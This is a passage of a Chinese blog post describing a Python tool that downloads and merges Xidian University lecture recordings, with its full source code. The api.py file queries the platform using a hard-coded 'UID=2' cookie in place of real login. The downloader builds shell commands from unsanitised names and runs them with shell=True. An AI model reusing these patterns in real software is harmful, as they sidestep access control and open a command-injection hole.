的命令行参数里指定了使用二进制合并模式,也就是把下载的分段 ts 文件直接按照二进制编码拼接起来,理论上没有用到 \u003ccode\u003eFFmpeg\u003c/code\u003e 重新封装。于是我想出了一个神奇的糊弄方案:我用 c 写了个什么用都没有的程序,编译成 \u003ccode\u003eexe\u003c/code\u003e 文件,改名成 \u003ccode\u003eFFmpeg.exe\u003c/code\u003e 放到文件夹里。这样 \u003ccode\u003eN_m3u8DL-RE\u003c/code\u003e 就能检测到 \u003ccode\u003eFFmpeg\u003c/code\u003e 了,但是实际上并没有用到 \u003ccode\u003eFFmpeg\u003c/code\u003e。这个程序的代码如下:\u003c/p\u003e\n \u003cdetails\u003e\n \u003csummary\u003e展开查看什么用都没有的代码\u003c/summary\u003e\n\u003cpre\u003e\u003ccode class=\"language-c\"\u003eint main() {\n return 0;\n}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e没用的代码你也看?😠\u003c/p\u003e\n \u003c/details\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e什么用都没有的 \u003ccode\u003eFFmpeg.exe\u003c/code\u003e 编译出来是 15 KB,换上去 \u003ccode\u003eN_m3u8DL-RE\u003c/code\u003e 确实能正常运行。但我还是不满意。然后我突然想到可以用 \u003ca rel=\"noopener noreferrer\" href=\"https://github.com/upx/upx\"\u003e\u003ccode\u003eUPX\u003c/code\u003e\u003c/a\u003e 压缩 \u003ccode\u003eexe\u003c/code\u003e。结果是 8 KB。嗯,满意了。替换掉原来的 \u003ccode\u003eFFmpeg.exe\u003c/code\u003e,打包之后的 \u003ccode\u003eexe\u003c/code\u003e 从 43.9 MB 减小到了 14.4 MB。\u003c/p\u003e\n \u003cdetails\u003e\n \u003csummary\u003e展开查看使用 UPX 压缩的命令\u003c/summary\u003e\n\u003cpre\u003e\u003ccode class=\"language-shell\"\u003eupx --ultra-brute ffmpeg.exe\n\u003c/code\u003e\u003c/pre\u003e\n \u003c/details\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ccode\u003eN_m3u8DL-RE\u003c/code\u003e 调用 FFmpeg 的时候如果 FFmpeg 不在 \u003ccode\u003ePath\u003c/code\u003e 中会找不到。但它也提供了一个命令行参数 \u003ccode\u003e--ffmpeg-binary-path \u0026lt;PATH\u0026gt;\u003c/code\u003e 来指定 FFmpeg 的路径。\u003c/p\u003e\n \u003cdetails\u003e\n \u003csummary\u003e展开查看添加 FFmpeg 路径参数的代码\u003c/summary\u003e\n\u003cpre\u003e\u003ccode class=\"language-python\"\u003edef resource_path(relative_path):\n base_path = getattr(sys, \u0026#39;_MEIPASS\u0026#39;, os.path.dirname(os.path.abspath(__file__)))\n return os.path.join(base_path, relative_path)\n\ndef download_m3u8(url, filename, save_dir, command=\u0026#39;\u0026#39;):\n n_m3u8dl_re_path = resource_path(\u0026#39;N_m3u8DL-RE.exe\u0026#39;)\n ffmpeg_path = resource_path(\u0026#39;ffmpeg.exe\u0026#39;)\n\n if not command:\n command = f\u0026#39;./{n_m3u8dl_re_path} \u0026#34;{url}\u0026#34; --save-dir \u0026#34;{save_dir}\u0026#34; --save-name \u0026#34;{filename}\u0026#34; --check-segments-count False --binary-merge True --ffmpeg-binary-path \u0026#34;{ffmpeg_path}\u0026#34;\u0026#39;\n else:\n command = command.format(url=url, filename=filename, save_dir=save_dir, ffmpeg_path=ffmpeg_path)\n......\n\u003c/code\u003e\u003c/pre\u003e\n \u003c/details\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e这时候群友向我推荐了另一个 m3u8 下载器 \u003ca rel=\"noopener noreferrer\" href=\"https://github.com/clitic/vsd\"\u003evsd\u003c/a\u003e。它是用 \u003ccode\u003eRust\u003c/code\u003e 写的 \u003cdel\u003e(我超,原!)\u003c/del\u003e 。它的二进制合并模式不需要 FFmpeg。我试了一下,感觉体验不错,于是换成了这个。它的二进制文件比 \u003ccode\u003eN_m3u8DL-RE\u003c/code\u003e 大一点,但是我发现它没有经过压缩,于是用 \u003ccode\u003eUPX\u003c/code\u003e 压缩了一下,体积从 13.3 MB 减小到了 3.5 MB,打包体积 11.9 MB。\u003c/p\u003e\n \u003cdetails\u003e\n \u003csummary\u003e展开查看使用 vsd 下载视频的代码\u003c/summary\u003e\n\u003cpre\u003e\u003ccode class=\"language-python\"\u003ecommand = f\u0026#39;vsd-upx.exe save {url} -o {save_dir}\\{filename} --retry-count 32 -t 16\u0026#39;\n\u003c/code\u003e\u003c/pre\u003e\n \u003c/details\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e换成 \u003ccode\u003evsd\u003c/code\u003e 之后,有一个功能也可以实现了,那就是下载视频之后自动合并上下半节课。录直播平台的视频是上下半节课分开的,但这两段视频在时间上是连续的,合并在一起更方便看,也方便整理。于是使用 \u003ccode\u003evsd\u003c/code\u003e 的 \u003ccode\u003emerge\u003c/code\u003e 参数实现了这个功能。\u003c/p\u003e\n \u003cdetails\u003e\n \u003csummary\u003e展开查看合并视频的函数(因为这个功能可以开关所以代码里到处都改了一点点,就不全部放上来了)\u003c/summary\u003e\n\u003cpre\u003e\u003ccode class=\"language-python\"\u003edef merge_videos(files, output_file):\n if sys.platform.startswith(\u0026#39;win32\u0026#39;):\n command = f\u0026#39;vsd-upx.exe merge -o {output_file} {\u0026#34; \u0026#34;.join(files)}\u0026#39;\n else:\n command = f\u0026#39;./vsd-upx merge -o {output_file} {\u0026#34; \u0026#34;.join(files)}\u0026#39;\n\n try:\n subprocess.run(command, shell=True, check=True)\n print(f\u0026#34;合并完成:{output_file}\u0026#34;)\n for file in files:\n os.remove(file)\n except subprocess.CalledProcessError:\n print(f\u0026#34;合并 {output_file} 失败:\\n{traceback.format_exc()}\u0026#34;)\n\u003c/code\u003e\u003c/pre\u003e\n \u003c/details\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e添加合并视频功能涉及到了一大堆逻辑改动。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e命名的时候,比如合并前文件名是 \u003ccode\u003exxx第5节xxx\u003c/code\u003e 和 \u003ccode\u003exxx第6节xxx\u003c/code\u003e,合并后的文件名就叫作 \u003ccode\u003exxx第5-6节xxx\u003c/code\u003e,文件名的其他部分保持不变。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e合并的时候考虑到有些时候数据源会丢失几条视频数据,要正确处理视频链接或者视频文件不存在的错误,如果无法下载上下两个半节课或者其中一个半节课就跳过合并。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e在判断视频是否存在的逻辑中加入检查合并了的文件,也就是:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e如果上下半节合并的视频存在就跳过下载上下半节课\u003c/li\u003e\n\u003cli\u003e如果上下半节没有合并的两个视频都存在就尝试合并\u003c/li\u003e\n\u003cli\u003e如果只存在其中半节就尝试下载另外半节并且如果下载成功就尝试合并\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e合并成功后删除合并前的单个视频文件。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e这个合并视频的功能作为可选项在交互式操作和命令行使用中都提供,默认合并。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e选择不合并的命令行参数为 \u003ccode\u003e--no-merge\u003c/code\u003e。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e不合并的话上面描述的逻辑都不生效,效果和之前的代码保持相同。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e在交互模式中,如果选择只下载半节课视频,就不询问是否合并,也不执行合并功能。\u003c/p\u003e\n\u003cdetails\u003e\n\u003csummary\u003e展开查看修改后的 main 函数,这简直是一大坨,希望逻辑上没出错\u003c/summary\u003e\n\u003cpre\u003e\u003ccode class=\"language-python\"\u003edef main(liveid=None, command=\u0026#39;\u0026#39;, single=0, merge=True):\n if not liveid:\n liveid = int(user_input_with_check(\n \u0026#34;请输入 liveId:\u0026#34;,\n lambda liveid: liveid.isdigit() and len(liveid) \u0026lt;= 10\n ))\n\n single = user_input_with_check(\n \u0026#34;是否仅下载单节课视频?输入 y 下载单节课,n 下载这门课所有视频,s 则仅下载单集(半节课)视频,直接回车默认单节课 (Y/n/s):\u0026#34;,\n lambda single: single.lower() in [\u0026#39;\u0026#39;, \u0026#39;y\u0026#39;, \u0026#39;n\u0026#39;, \u0026#39;s\u0026#39;]\n ).lower()\n if single in [\u0026#39;\u0026#39;, \u0026#39;y\u0026#39;]:\n single = 1\n elif single == \u0026#39;s\u0026#39;:\n single = 2\n else:\n single = 0\n\n if single != 2:\n merge = user_input_with_check(\n \u0026#34;是否自动合并上下半节课视频?输入 y 合并,n 不合并,直接回车默认合并 (Y/n):\u0026#34;,\n lambda merge: merge.lower() in [\u0026#39;\u0026#39;, \u0026#39;y\u0026#39;, \u0026#39;n\u0026#39;]\n ).lower() != \u0026#39;n\u0026#39;\n else:\n if single \u0026gt; 2:\n single = 2\n\n data = get_initial_data(liveid)\n\n if not data:\n print(\u0026#34;没有找到数据,请检查 liveId 是否正确。\u0026#34;)\n return\n\n if single:\n matching_entry = next(\n filter(lambda entry: entry[\u0026#34;id\u0026#34;] == liveid, data))\n\n if not matching_entry:\n raise ValueError(\u0026#34;No matching entry found for the specified liveId\u0026#34;)\n\n if single == 1:\n start_time = matching_entry[\u0026#34;startTime\u0026#34;]\n data = list(filter(\n lambda entry: entry[\u0026#34;startTime\u0026#34;][\u0026#34;date\u0026#34;] == start_time[\u0026#34;date\u0026#34;] and\n entry[\u0026#34;startTime\u0026#34;][\u0026#34;month\u0026#34;] == start_time[\u0026#34;month\u0026#34;],\n data))\n else:\n data = [matching_entry]\n\n first_entry = data[0]\n start_time = first_entry[\u0026#34;startTime\u0026#34;][\u0026#34;time\u0026#34;]\n course_code = first_entry[\u0026#34;courseCode\u0026#34;]\n course_name = first_entry[\u0026#34;courseName\u0026#34;]\n\n start_time_unix = start_time / 1000\n start_time_struct = time.gmtime(start_time_unix)\n year = start_time_struct.tm_year\n\n save_dir = f\u0026#34;{year}年{course_code}{course_name}\u0026#34;\n os.makedirs(save_dir, exist_ok=True)\n\n csv_filename = f\u0026#34;{year}年{course_code}{course_name}.csv\u0026#34;\n\n rows = []\n for entry in tqdm(data, desc=\u0026#34;获取视频链接\u0026#34;):\n live_id = entry[\u0026#34;id\u0026#34;]\n days = entry[\u0026#34;days\u0026#34;]\n day = entry[\u0026#34;startTime\u0026#34;][\u0026#34;day\u0026#34;]\n jie = entry[\u0026#34;jie\u0026#34;]\n\n start_time = entry[\u0026#34;startTime\u0026#34;][\u0026#34;time\u0026#34;]\n start_time_unix = start_time / 1000\n start_time_struct = time.gmtime(start_time_unix)\n month = start_time_struct.tm_mon\n date = start_time_struct.tm_mday\n\n ppt_video, teacher_track = get_m3u8_links(live_id)\n\n row = [month, date, day, jie, days, ppt_video, teacher_track]\n rows.append(row)\n\n with open(csv_filename, mode=\u0026#39;w\u0026#39;, newline=\u0026#39;\u0026#39;) as file:\n writer = csv.writer(file)\n writer.writerow([\u0026#39;month\u0026#39;, \u0026#39;date\u0026#39;, \u0026#39;day\u0026#39;, \u0026#39;jie\u0026#39;, \u0026#39;days\u0026#39;, \u0026#39;pptVideo\u0026#39;, \u0026#39;teacherTrack\u0026#39;])\n writer.writerows(rows)\n\n print(f\u0026#34;{csv_filename} 文件已创建并写入数据。\u0026#34;)\n\n def process_rows(rows):\n for i in range(0, len(rows), 2):\n row1 = rows[i]\n month1, date1, day1, jie1, days1, ppt_video1, teacher_track1 = row1\n day_chinese1 = day_to_chinese(day1)\n\n row2 = rows[i + 1] if i + 1 \u0026lt; len(rows) else None\n if row2:\n month2, date2, day2, jie2, days2, ppt_video2, teacher_track2 = row2\n day_chinese2 = day_to_chinese(day2)\n\n ppt_video_files = []\n if ppt_video1:\n filename1 = f\u0026#34;{course_code}{course_name}{year}年{month1}月{date1}日第{days1}周星期{day_chinese1}第{jie1}节-pptVideo.ts\u0026#34;\n filepath1 = os.path.join(save_dir, filename1)\n if not os.path.exists(filepath1):\n download_m3u8(ppt_video1, filename1, save_dir, command=command)\n ppt_video_files.append(filepath1)\n\n if ppt_video2:\n filename2 = f\u0026#34;{course_code}{course_name}{year}年{month2}月{date2}日第{days2}周星期{day_chinese2}第{jie2}节-pptVideo.ts\u0026#34;\n filepath2 = os.path.join(save_dir, filename2)\n if not os.path.exists(filepath2):\n download_m3u8(ppt_video2, filename2, save_dir, command=command)\n ppt_video_files.append(filepath2)\n\n if len(ppt_video_files) == 2 and merge:\n ppt_merged_filename = f\u0026#34;{course_code}{course_name}{year}年{month1}月{date1}日第{days1}周星期{day_chinese1}第{jie1}-{jie2}节-pptVideo.ts\u0026#34;\n ppt_merged_filepath = os.path.join(save_dir, ppt_merged_filename)\n merge_videos(ppt_video_files, ppt_merged_filepath)\n\n teacher_track_files = []\n if teacher_track1:\n filename1 = f\u0026#34;{course_code}{course_name}{year}年{month1}月{date1}日第{days1}周星期{day_chinese1}第{jie1}节-teacherTrack.ts\u0026#34;\n filepath1 = os.path.join(save_dir, filename1)\n if not os.path.exists(filepath1):\n download_m3u8(teacher_track1, filename1, save_dir, command=command)\n teacher_track_files.append(filepath1)\n\n if teacher_track2:\n filename2 = f\u0026#34;{course_code}{course_name}{year}年{month2}月{date2}日第{days2}周星期{day_chinese2}第{jie2}节-teacherTrack.ts\u0026#34;\n filepath2 = os.path.join(save_dir, filename2)\n if not os.path.exists(filepath2):\n download_m3u8(teacher_track2, filename2, save_dir, command=command)\n teacher_track_files.append(filepath2)\n\n if len(teacher_track_files) == 2 and merge:\n teacher_merged_filename = f\u0026#34;{course_code}{course_name}{year}年{month1}月{date1}日第{days1}周星期{day_chinese1}第{jie1}-{jie2}节-teacherTrack.ts\u0026#34;\n teacher_merged_filepath = os.path.join(save_dir, teacher_merged_filename)\n merge_videos(teacher_track_files, teacher_merged_filepath)\n\n if single == 1:\n process_rows(rows[:2])\n elif single == 2:\n row = rows[0]\n month, date, day, jie, days, ppt_video, teacher_track = row\n day_chinese = day_to_chinese(day)\n\n if ppt_video:\n filename = f\u0026#34;{course_code}{course_name}{year}年{month}月{date}日第{days}周星期{day_chinese}第{jie}节-pptVideo.ts\u0026#34;\n filepath = os.path.join(save_dir, filename)\n if not os.path.exists(filepath):\n download_m3u8(ppt_video, filename, save_dir, command=command)\n\n if teacher_track:\n filename = f\u0026#34;{course_code}{course_name}{year}年{month}月{date}日第{days}周星期{day_chinese}第{jie}节-teacherTrack.ts\u0026#34;\n filepath = os.path.join(save_dir, filename)\n if not os.path.exists(filepath):\n download_m3u8(teacher_track, filename, save_dir, command=command)\n\n else:\n process_rows(rows)\n\n print(\u0026#34;所有视频下载和处理完成。\u0026#34;)\n\u003c/code\u003e\u003c/pre\u003e\n\u003c/details\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e几百行代码好长,我小小的脑子要看不过来了,于是我把代码拆分成了几个文件,分别是 \u003ccode\u003eXDUClassVideoDownloader.py\u003c/code\u003e、\u003ccode\u003edownloader.py\u003c/code\u003e、\u003ccode\u003eapi.py\u003c/code\u003e、\u003ccode\u003eutils.py\u003c/code\u003e。这样代码结构更清晰,也方便维护。\u003c/p\u003e\n \u003cdetails\u003e\n \u003csummary\u003eXDUClassVideoDownloader.py:主程序,用户交互和命令行参数解析\u003c/summary\u003e\n\u003cpre\u003e\u003ccode class=\"language-python\"\u003e#!/usr/bin/env python3\n\nimport os\nimport csv\nimport time\nfrom argparse import ArgumentParser\nfrom tqdm import tqdm\nimport traceback\nfrom utils import day_to_chinese, user_input_with_check, create_directory\nfrom downloader import download_m3u8, merge_videos\nfrom api import get_initial_data, get_m3u8_links\n\ndef main(liveid=None, command=\u0026#39;\u0026#39;, single=0, merge=True):\n if liveid and not isinstance(liveid, int):\n liveid = int(liveid)\n elif not liveid:\n liveid = int(user_input_with_check(\n \u0026#34;请输入 liveId:\u0026#34;,\n lambda liveid: liveid.isdigit() and len(liveid) \u0026lt;= 10\n ))\n\n single = user_input_with_check(\n \u0026#34;是否仅下载单节课视频?输入 y 下载单节课,n 下载这门课所有视频,s 则仅下载单集(半节课)视频,直接回车默认单节课 (Y/n/s):\u0026#34;,\n lambda single: single.lower() in [\u0026#39;\u0026#39;, \u0026#39;y\u0026#39;, \u0026#39;n\u0026#39;, \u0026#39;s\u0026#39;]\n ).lower()\n if single in [\u0026#39;\u0026#39;, \u0026#39;y\u0026#39;]:\n single = 1\n elif single == \u0026#39;s\u0026#39;:\n single = 2\n else:\n single = 0\n\n if single != 2:\n merge = user_input_with_check(\n \u0026#34;是否自动合并上下半节课视频?输入 y 合并,n 不合并,直接回车默认合并 (Y/n):\u0026#34;,\n lambda merge: merge.lower() in [\u0026#39;\u0026#39;, \u0026#39;y\u0026#39;, \u0026#39;n\u0026#39;]\n ).lower() != \u0026#39;n\u0026#39;\n else:\n if single \u0026gt; 2:\n single = 2\n\n data = get_initial_data(liveid)\n\n if not data:\n print(\u0026#34;没有找到数据,请检查 liveId 是否正确。\u0026#34;)\n return\n\n if single:\n matching_entry = next(\n filter(lambda entry: entry[\u0026#34;id\u0026#34;] == liveid, data))\n\n if not matching_entry:\n raise ValueError(\u0026#34;No matching entry found for the specified liveId\u0026#34;)\n\n if single == 1:\n start_time = matching_entry[\u0026#34;startTime\u0026#34;]\n data = list(filter(\n lambda entry: entry[\u0026#34;startTime\u0026#34;][\u0026#34;date\u0026#34;] == start_time[\u0026#34;date\u0026#34;] and\n entry[\u0026#34;startTime\u0026#34;][\u0026#34;month\u0026#34;] == start_time[\u0026#34;month\u0026#34;],\n data))\n else:\n data = [matching_entry]\n\n first_entry = data[0]\n start_time = first_entry[\u0026#34;startTime\u0026#34;][\u0026#34;time\u0026#34;]\n course_code = first_entry[\u0026#34;courseCode\u0026#34;]\n course_name = first_entry[\u0026#34;courseName\u0026#34;]\n\n start_time_unix = start_time / 1000\n start_time_struct = time.gmtime(start_time_unix)\n year = start_time_struct.tm_year\n\n save_dir = f\u0026#34;{year}年{course_code}{course_name}\u0026#34;\n create_directory(save_dir)\n\n csv_filename = f\u0026#34;{year}年{course_code}{course_name}.csv\u0026#34;\n\n rows = []\n for entry in tqdm(data, desc=\u0026#34;获取视频链接\u0026#34;):\n live_id = entry[\u0026#34;id\u0026#34;]\n days = entry[\u0026#34;days\u0026#34;]\n day = entry[\u0026#34;startTime\u0026#34;][\u0026#34;day\u0026#34;]\n jie = entry[\u0026#34;jie\u0026#34;]\n\n start_time = entry[\u0026#34;startTime\u0026#34;][\u0026#34;time\u0026#34;]\n start_time_unix = start_time / 1000\n start_time_struct = time.gmtime(start_time_unix)\n month = start_time_struct.tm_mon\n date = start_time_struct.tm_mday\n\n ppt_video, teacher_track = get_m3u8_links(live_id)\n\n row = [month, date, day, jie, days, ppt_video, teacher_track]\n rows.append(row)\n\n with open(csv_filename, mode=\u0026#39;w\u0026#39;, newline=\u0026#39;\u0026#39;) as file:\n writer = csv.writer(file)\n writer.writerow([\u0026#39;month\u0026#39;, \u0026#39;date\u0026#39;, \u0026#39;day\u0026#39;, \u0026#39;jie\u0026#39;, \u0026#39;days\u0026#39;, \u0026#39;pptVideo\u0026#39;, \u0026#39;teacherTrack\u0026#39;])\n writer.writerows(rows)\n\n print(f\u0026#34;{csv_filename} 文件已创建并写入数据。\u0026#34;)\n\n def process_rows(rows):\n for i in range(0, len(rows), 2):\n row1 = rows[i]\n month1, date1, day1, jie1, days1, ppt_video1, teacher_track1 = row1\n day_chinese1 = day_to_chinese(day1)\n\n row2 = rows[i + 1] if i + 1 \u0026lt; len(rows) else None\n if row2:\n month2, date2, day2, jie2, days2, ppt_video2, teacher_track2 = row2\n day_chinese2 = day_to_chinese(day2)\n\n ppt_video_files = []\n if ppt_video1:\n filename1 = f\u0026#34;{course_code}{course_name}{year}年{month1}月{date1}日第{days1}周星期{day_chinese1}第{jie1}节-pptVideo.ts\u0026#34;\n filepath1 = os.path.join(save_dir, filename1)\n if not os.path.exists(filepath1):\n download_m3u8(ppt_video1, filename1, save_dir, command=command)\n ppt_video_files.append(filepath1)\n\n if ppt_video2:\n filename2 = f\u0026#34;{course_code}{course_name}{year}年{month2}月{date2}日第{days2}周星期{day_chinese2}第{jie2}节-pptVideo.ts\u0026#34;\n filepath2 = os.path.join(save_dir, filename2)\n if not os.path.exists(filepath2):\n download_m3u8(ppt_video2, filename2, save_dir, command=command)\n ppt_video_files.append(filepath2)\n\n if len(ppt_video_files) == 2 and merge:\n ppt_merged_filename = f\u0026#34;{course_code}{course_name}{year}年{month1}月{date1}日第{days1}周星期{day_chinese1}第{jie1}-{jie2}节-pptVideo.ts\u0026#34;\n ppt_merged_filepath = os.path.join(save_dir, ppt_merged_filename)\n merge_videos(ppt_video_files, ppt_merged_filepath)\n\n teacher_track_files = []\n if teacher_track1:\n filename1 = f\u0026#34;{course_code}{course_name}{year}年{month1}月{date1}日第{days1}周星期{day_chinese1}第{jie1}节-teacherTrack.ts\u0026#34;\n filepath1 = os.path.join(save_dir, filename1)\n if not os.path.exists(filepath1):\n download_m3u8(teacher_track1, filename1, save_dir, command=command)\n teacher_track_files.append(filepath1)\n\n if teacher_track2:\n filename2 = f\u0026#34;{course_code}{course_name}{year}年{month2}月{date2}日第{days2}周星期{day_chinese2}第{jie2}节-teacherTrack.ts\u0026#34;\n filepath2 = os.path.join(save_dir, filename2)\n if not os.path.exists(filepath2):\n download_m3u8(teacher_track2, filename2, save_dir, command=command)\n teacher_track_files.append(filepath2)\n\n if len(teacher_track_files) == 2 and merge:\n teacher_merged_filename = f\u0026#34;{course_code}{course_name}{year}年{month1}月{date1}日第{days1}周星期{day_chinese1}第{jie1}-{jie2}节-teacherTrack.ts\u0026#34;\n teacher_merged_filepath = os.path.join(save_dir, teacher_merged_filename)\n merge_videos(teacher_track_files, teacher_merged_filepath)\n\n if single == 1:\n process_rows(rows[:2])\n elif single == 2:\n row = rows[0]\n month, date, day, jie, days, ppt_video, teacher_track = row\n day_chinese = day_to_chinese(day)\n\n if ppt_video:\n filename = f\u0026#34;{course_code}{course_name}{year}年{month}月{date}日第{days}周星期{day_chinese}第{jie}节-pptVideo.ts\u0026#34;\n filepath = os.path.join(save_dir, filename)\n if not os.path.exists(filepath):\n download_m3u8(ppt_video, filename, save_dir, command=command)\n\n if teacher_track:\n filename = f\u0026#34;{course_code}{course_name}{year}年{month}月{date}日第{days}周星期{day_chinese}第{jie}节-teacherTrack.ts\u0026#34;\n filepath = os.path.join(save_dir, filename)\n if not os.path.exists(filepath):\n download_m3u8(teacher_track, filename, save_dir, command=command)\n\n else:\n process_rows(rows)\n\n print(\u0026#34;所有视频下载和处理完成。\u0026#34;)\n\ndef parse_arguments():\n parser = ArgumentParser(description=\u0026#34;用于下载西安电子科技大学录直播平台课程视频的工具\u0026#34;)\n parser.add_argument(\u0026#39;liveid\u0026#39;, nargs=\u0026#39;?\u0026#39;, default=None, help=\u0026#34;课程的 liveId,不输入则采用交互式方式获取\u0026#34;)\n parser.add_argument(\u0026#39;-c\u0026#39;, \u0026#39;--command\u0026#39;, default=\u0026#39;\u0026#39;, help=\u0026#34;自定义下载命令,使用 {url}, {save_dir}, {filename} 作为替换标记\u0026#34;)\n parser.add_argument(\u0026#39;-s\u0026#39;, \u0026#39;--single\u0026#39;, action=\u0026#39;count\u0026#39;, default=0, help=\u0026#34;仅下载单节课视频(-s:单节课视频,-ss:半节课视频)\u0026#34;)\n parser.add_argument(\u0026#39;--no-merge\u0026#39;, action=\u0026#39;store_false\u0026#39;, help=\u0026#34;不合并上下半节课视频\u0026#34;)\n\n return parser.parse_args()\n\nif __name__ == \u0026#34;__main__\u0026#34;:\n args = parse_arguments()\n try:\n main(liveid=args.liveid, command=args.command, single=args.single, merge=args.no_merge)\n except Exception as e:\n print(f\u0026#34;发生错误:{e}\u0026#34;)\n print(traceback.format_exc())\n\u003c/code\u003e\u003c/pre\u003e\n \u003c/details\u003e\n \u003cdetails\u003e\n \u003csummary\u003edownloader.py:下载视频和合并视频的函数\u003c/summary\u003e\n\u003cpre\u003e\u003ccode class=\"language-python\"\u003e#!/usr/bin/env python3\n\nimport subprocess\nimport sys\nimport os\nimport traceback\n\ndef download_m3u8(url, filename, save_dir, command=\u0026#39;\u0026#39;):\n if not command:\n if sys.platform.startswith(\u0026#39;win32\u0026#39;):\n command = f\u0026#39;vsd-upx.exe save {url} -o {save_dir}\\{filename} --retry-count 32 -t 16\u0026#39;\n else:\n command = f\u0026#39;./vsd-upx save {url} -o {save_dir}/{filename} --retry-count 32 -t 16\u0026#39;\n else:\n command = command.format(url=url, filename=filename, save_dir=save_dir)\n\n MAX_ATTEMPTS = 2\n\n for attempt in range(MAX_ATTEMPTS):\n try:\n subprocess.run(command, shell=True, check=True)\n break\n except subprocess.CalledProcessError:\n print(f\u0026#34;第 {attempt+1} 次下载 {filename} 出错:\\n{traceback.format_exc()}\\n重试中...\u0026#34;)\n if attempt == MAX_ATTEMPTS - 1:\n print(f\u0026#34;下载 {filename} 失败。\u0026#34;)\n\ndef merge_videos(files, output_file):\n if sys.platform.startswith(\u0026#39;win32\u0026#39;):\n command = f\u0026#39;vsd-upx.exe merge -o {output_file} {\u0026#34; \u0026#34;.join(files)}\u0026#39;\n else:\n command = f\u0026#39;./vsd-upx merge -o {output_file} {\u0026#34; \u0026#34;.join(files)}\u0026#39;\n\n try:\n subprocess.run(command, shell=True, check=True)\n print(f\u0026#34;合并完成:{output_file}\u0026#34;)\n for file in files:\n os.remove(file)\n except subprocess.CalledProcessError:\n print(f\u0026#34;合并 {output_file} 失败:\\n{traceback.format_exc()}\u0026#34;)\n\u003c/code\u003e\u003c/pre\u003e\n \u003c/details\u003e\n \u003cdetails\u003e\n \u003csummary\u003eapi.py:获取课程数据和 m3u8 链接的函数\u003c/summary\u003e\n\u003cpre\u003e\u003ccode class=\"language-python\"\u003e#!/usr/bin/env python3\n\nimport requests\nimport urllib.parse\nimport json\n\ndef get_initial_data(liveid):\n url = \u0026#34;http://newesxidian.chaoxing.com/live/listSignleCourse\u0026#34;\n headers = {\n \u0026#34;User-Agent\u0026#34;: \u0026#34;Mozilla/5.0\u0026#34;,\n \u0026#34;Cookie\u0026#34;: \u0026#34;UID=2\u0026#34;\n }\n data = {\n \u0026#34;liveId\u0026#34;: liveid\n }\n\n response = requests.post(url, headers=headers, data=data)\n response.raise_for_status()\n return response.json()\n\ndef get_m3u8_links(live_id):\n url = f\u0026#34;http://newesxidian.chaoxing.com/live/getViewUrlHls?liveId={live_id}\u0026amp;status=2\u0026#34;\n headers = {\n \u0026#34;User-Agent\u0026#34;: \u0026#34;Mozilla/5.0\u0026#34;,\n \u0026#34;Cookie\u0026#34;: \u0026#34;UID=2\u0026#34;\n }\n\n response = requests.get(url, headers=headers)\n response.raise_for_status()\n response_text = response.text\n\n url_start = response_text.find(\u0026#39;info=\u0026#39;)\n if url_start == -1:\n raise ValueError(\u0026#34;info parameter not found in the response\u0026#34;)\n\n encoded_info = response_text[url_start + 5:]\n decoded_info = urllib.parse.unquote(encoded_info)\n info_json = json.loads(decoded_info)\n\n video_paths = info_json.get(\u0026#39;videoPath\u0026#39;, {})\n ppt_video = video_paths.get(\u0026#39;pptVideo\u0026#39;, \u0026#39;\u0026#39;)\n teacher_track = video_paths.get(\u0026#39;teacherTrack\u0026#39;, \u0026#39;\u0026#39;)\n\n return ppt_video, teacher_track\n\u003c/code\u003e\u003c/pre\u003e\n \u003c/details\u003e\n \u003cdetails\u003e\n \u003csummary\u003eutils.py:一些工具函数,包含日期汉字转换、输入数据检查、目录创建\u003c/summary\u003e\n\u003cpre\u003e\u003ccode class=\"language-python\"\u003e#!/usr/bin/env python3\n\nimport os\n\ndef day_to_chinese(day):\n days = [\u0026#34;日\u0026#34;, \u0026#34;一\u0026#34;, \u0026#34;二\u0026#34;, \u0026#34;三\u0026#34;, \u0026#34;四\u0026#34;, \u0026#34;五\u0026#34;, \u0026#34;六\u0026#34;]\n return days[day]\n\ndef user_input_with_check(prompt, check_func):\n while True:\n user_input = input(prompt)\n if check_func(user_input):\n return user_input\n else:\n print(\u0026#34;输入错误,请重新输入:\u0026#34;)\n\ndef create_directory(directory):\n os.makedirs(directory, exist_ok=True)\n\u003c/code\u003e\u003c/pre\u003e\n \u003c/details\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e为了方便打包版本同步主分支代码,我新建了一个 \u003ccode\u003ewindows-pack\u003c/code\u003e 分支,时不时 rebase 一下。和主分支区别如下:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003ccode\u003eXDUClassVideoDownloader.py\u003c/code\u003e 末尾添加了等待输入,防止窗口自己关闭。\u003c/li\u003e\n\u003cli\u003e\n\u003ccode\u003edownloader.py\u003c/code\u003e 中的 \u003ccode\u003edownload_m3u8\u003c/code\u003e 函数使用绝对路径而不是相对路径来调用 \u003ccode\u003evsd-upx.exe\u003c/code\u003e。\u003c/li\u003e\n\u003cli\u003e\n\u003ccode\u003eutils.py\u003c/code\u003e 中增加 \u003ccode\u003eresource_path\u003c/code\u003e 函数,用于获取二进制文件路径。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e\u003ca id=\"content-使用演示\" href=\"https://blog.lsy223622.com/archives/56/#content-%E4%BD%BF%E7%94%A8%E6%BC%94%E7%A4%BA\" class=\"heading-permalink\" aria-hidden=\"true\" 